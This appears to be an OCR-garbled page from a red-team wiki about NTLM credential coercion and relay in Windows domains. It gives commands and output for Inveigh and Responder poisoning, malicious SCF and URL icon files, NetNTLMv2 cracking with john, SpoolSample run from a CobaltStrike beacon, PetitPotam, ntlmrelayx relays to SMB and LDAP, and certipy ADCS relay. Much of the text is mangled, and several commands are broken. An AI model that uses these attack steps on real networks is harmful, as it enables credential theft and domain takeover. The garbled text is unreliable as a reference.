[T

NetBIOS [|LLMNR

NetBIOS-NS (NetBIOS Name Service) [LLMNR (Link-Local Multicast Name Raesolution) [BINIS [TT1T1

Windows [TTTTITTITITITITIIIT DNS OTTTTITITTIITIONS O IIIITTITTINetBIOS-NS [ LLMNF
1TTITTTIITT

2[TITITTITITITII hosts [1T]

3(0] DNS [ITTITIT]

AT LLMNRIITITITITT] LLMNR 1]

S5TTTT] NetBIOS[TTTITITIT] LLMNR [1]
LLMNR [INetBIOS-NS [TTTTTITTTITITITITI IP (T I T I T ITOT T

1. Request a network resource mistakenly

<

A 2. The resource does not exist in DNS —

-

Domain Controller Workstation

Attacker
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1M

2[IDNS (111 (DC) [IITIITIT DNS [T
3111 LLMNR/NetBIOS-NS [T]
AT
STTITIIIITITIITI

[(Resplande Vel [(Nttps://github.com/Kevin-Robertson/Inveigh)TTITITTResponder [TTTTIITIIITT
(LTI

[11] CobaltStrike [T ROHEe NIIEHEKISNBL NV SN T TN I iy §ih Vs DROSRI@n I
SMB [T

'S C:\Windows\Tasks> .\inveigh.exe

] Packet Sniffer Address [
] Listener Addr

] Spoofer Reply Adc

] Spoofer Options

] DHCPv6

] LLMNR Packet Sniffer [
] MDNS
] NBNS

OO T T T T T T
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gh Console Commands

Command

sole output

0file01 [TITT] prod\e\ctoenTENIEY TTTTT11]

| # Wdonotesist] w
[ ~ Frequent folders (4)
Desktop Downloads Documents
This PC This PC A= This PC
ds - ¥ = .
nts

~ Recent files (0)

After you've opened some files, we'll show the most recent ones here,

[ITinveigh [T111] alice [ NetNTLMv2 [TTTTTITITITIT PTHIIIITIThashcat [1]John I (ITITIT] &

from

from
from
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(TITIT1 John [IThash{ITIIT

john --format=netntlmv2 <[III[TP --wordlist=<[TTTP

~/Desktop

f hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MDS5
Will rum 2 OpenMP threads

ss 'g’ or Ctrl-( ort, almost any other key for

Session completed.

T FileO1 T alice T T T T T T

SCF 1]

SCF [TT1 Windows [TTTIIIIIIIIIITIO Windows [T O I IS

[ Shell]

Command=2
IconFile=\\web03\shared\pic. ico
[ Taskbar]

Command=ToggleDesktop

IconFile JTTITITIIT] SMB I Windows [T (IT1SrvO 1] prod\sql_servi
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from 1;
d from

PROD\sql_service] written to Inveigh-NTLMv2.txt

fro .1.14 [

URL [T]

URL [TTTTITVIIT

NS TTTTTTTITTTTTVRL (1110 htm! O T

[TIT10 \\fileO1\tools [IT] coerion.url [TTTIIITIIIIIIIIIIIN

[InternetShortcut]
URL=https: //google. com
IconIndex=0

IconFile=\\web03\shared\web. ico

[(ITT1T] white-bird\Administrator [TTT] DcO5 [TTTTTTITITIITIITIITIIIIIIIIII] NetNTLMvV2 [1T]
] from

1 from

from

[©4:42:15] SMB(445) NTLMv2 for [WHITE-BIRD\Administrator] written to Inveigh-NTLMv2.txt

(11 SCF [I1] URL [ITTITT] doc ITTTIIIIITITIITInk Windows [TTTTTTT I T I T T T I T ITTI
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(LTI LLMNRMER RIG {NESERPRNLTM S FER S RIT LT T O

NBT-NS, LLMNR & MDNS Responder 3.1.3

To support this project:
Patreon -= https://www.patreon.com/PythonResponder
Paypal -= https://paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

Poisoners:
LLMNR

NBT -NS
MDNS

DNS

DHCP

Servers:

HTTP server
HTTPS server
WPAD proxy
Auth proxy

SMB server
Kerberos server

RéBldnder.conf [TTTTTTTTITTTTITITT] Rogue [TTTTITTIITIT]
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root@web@l: fopt/Responder# cat Responder.conf
[Responder Core]

; Servers to start

on
= Off

; Custom challenge.

; Use "Random" for generating a random challenge for each reguests (Default)
Challenge = Random

MS-RPRN PrinterBug

Print Spooler [J Windows [TTTITTITITIITIT] PrintBug [TTTITTITITIITIIT MS-RPRN [T TITTITITITIITITI
https://github.com/leechristensen/SpoolSample)TITIIITIIT] Dc01 [ WebO01 [TT]

beacon> execute-assembly fopt/red/spoolsample.exe 172,16.1.11 172.16.1.12

[*] Tasked beacon to run ,.NET program: spoolsample.exe 172.16.1.11 172.16.1.12
[+] host called home, sent: 264281 bytes

[+] received output

[+] Converted DLL to shellcode

[+] Executing RDI

[+] Calling exported function

[ITResponder [TT] DcO1 [ITTT] NetNTLMv2 T T T T

NTLMv2-SSP Client

MS-EFSR PetitPotam

MS-EFSR [ Microsoff TTTTTTTTTTTT T T T T TTTNEEPBEI/AE A b tes Buigoid dTd DR ETIEPo
proxychains python3 petitpotam.py 172.16.1.12 172.16.1.21[]1 [JIP [JResponder [IT1T] IP[1] 2
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chains python3 PetitPotam.py 172.16.1.12 172.16.1.21
chains.sf.net)

elicit
opotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc

[-] Connectin C i - 6 21[\PIPE\lsarpc
|S-chaink .0.0.1:108¢ 172.16.1.21:445
[+] Conne

[+] Binding to c681d488-d§ pc@sfdoafie
[+] Successfully bound!

[-] ¢

[+]

[+] At

rootats:,

NTLMwv P Client
NTLMv2-SSP Username

T NetNTLMv2 [T T T A T T AD

T TerediseEmérmgribidmmer2024 ! [T111] Srv01 [T] FileO01 [ITITIIIIT]

[T11]
(IITTT ntimrelayx [T SAM I11100 0 VPS 11 VM [I1] Impacket [T] ntimrelayx [T11T]

proxychains python3 impacket/examples/ntlmrelayx. py -t smb: //<[IIIP> -smb2support --no-http-serve

--no-wcf-server


https://raven-medicine.com/uploads/images/gallery/2023-06/KiFlkj1k67WLqmA9-image.png
https://raven-medicine.com/uploads/images/gallery/2023-06/BjEI1O305YoePA98-image.png

mpacket# proxychains python3 impac 2.16.1.13 -smb2support ——no-http-server ——no-wcf-se

T -smb2support —no-http-se
ProxyChains
Impac

[*]

[*]

[*]

[*]

[*]

[*]

[*]

[*] L )

[*] tocol Cli MssQL 1
[*] tocol CLi HTTPS 1
[*]

[*]

[*]

on port

[*] vers started, waiting r connections

[FIeDATEVOLITITT prod\servermgr [TT1T] ntimrelayx [TTT] Rogue [TTTTTTT] UNC [ITITITTITIIIIT] serve

1+ A WD <2y

# Quick access v Frequent folders (4)

[ Desktop Desktop Downloads Documents
This PC This PC A=) This PC
< Downloads . ; 2 = o
| Documents Network Error X
&=/ Pictures ~ Recent files (0) .
| Windows cannot access \\( I NEGEGNGEGD \relay
& This PC
Check the spelling of the name. Otherwise, there might be a problem with your network. To jere
& Network try to identify and resolve network problems, click Diagnose.
See details Cancel
LT LT T LI A <5l A oI B Sy 1 1 EePAe 1] FileO1 [1T] SrvO1[1T] servermgr [J FileO1 [TITTTITTITTTITITITITI

-chaink<
[*] Authenticati
there
there
MBD-Thread-7: Conne ion from /8. there
MBD-Thread ec 1 from . , there

o M
TRV
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~/Desktop
cme smb 17

ins.so.4

ic chain ... 27.0.0.1:1880 ... 72 Dyna

Dynamic chain

Dynamic chain

AD [T]

(ITITIIIIIIITTT] LDAP/LDAPS [TTOAVEFR0AB-IOAD] SVB TITITIMOPAA TTTITSNBIII (11 ntimrelayx [TT11T

proxychains python3 impacket/examples/ntlmrelayx. py -t ldap: //172.16.1.11 --no-da --no-acl --

lootdir relay

[(MIITIIntimrelayx [TTTIITTT ACL (TITITTT OTIIIIIIIT Rogue HTTP (T TIIIIIIIIII IP) [TTTTT

e e hitp:// D ~ X || Search.. L2
0 waiting for@EED

Windows Security X

iexplore

Connecting to (.

alice

Domain: PROD

D Remember my credentials

QK Cancel
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(T ntlmrelayx T TITIIOTIITT

ins python3 examples/ntlmrelay y -t lda 72.16.1.11 —no-da —no-acl —lootdir relay
th Corporation

t LDA lc
t LDAP lo

HTTPD

HTTPD

HTTPD

HTTPD

HTTPD

chain

HTTPD lie e L

HTTPD t g L L .16.1.11 as PROD/.
Enum ting . y take a i
Dumping d in i f t

Domain info dumped into lootdir!

opt/impacket,

root 4096
root 4@96
root
root

o b

domain_computer
domain_computer
domain_computer
domain_computers. json
domain_groups.grep
domain_groups.html
domain_groups.json
domain_policy.grep
domain_policy.html
domain_policy.json
domain_trusts.grep
domain_trusts.html
domain_tr json
group.html

[ e e o e e e e A e e
N N e il el el e e

ADCS NTLM [IT]
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0ADCS [JTITIITITT ADCS [TITIITITITI NTLM [IT117 [

eI TRPIAve (111

QAT T T T T Kerberos [TTTT] Desync [T1T]

[I1T] certipy [1] Rogue [TTITT] Med-factory [IT11] 1 [1T] CA 0 DC OIITIIIIIIIIIIIIIIIIIII1] Stg01 1111 Rog

proxychains certipy relay -ca <CA IP> -template <ADCS [IIITP //[IIIIIPomainController[I]

(1] SpoolSample [T11T]

beacon> execute-assembly /Jopt/red/spoolsample.exe 172.16.1.32

[*] Tasked beacon to run .NET program: spoolsample.exe 172.16.1.32
[+] host called home, sent: 264285 bytes

[+] received output

[+] Converted DLL to shellcode

[+] Executing RDI

[+] Calling exported function

[T Ste 01 (TITIIITIIITIITNO TGT 1110 s4u22self [ Stg01 [TTTITIITT

G01%' based on the template 'Machine’

Revision #18
Created 5 September 2022 03:09:55 by 111
Updated 17 April 2025 01:16:41 by [TT]


https://raven-medicine.com/uploads/images/gallery/2023-06/VVANBWASgPU4KF1e-image.png
https://raven-medicine.com/uploads/images/gallery/2025-04/7KrzmrJhbRSvzxo3-image.png
https://raven-medicine.com/uploads/images/gallery/2023-06/gBPGl7qYVxDFuQf7-image.png

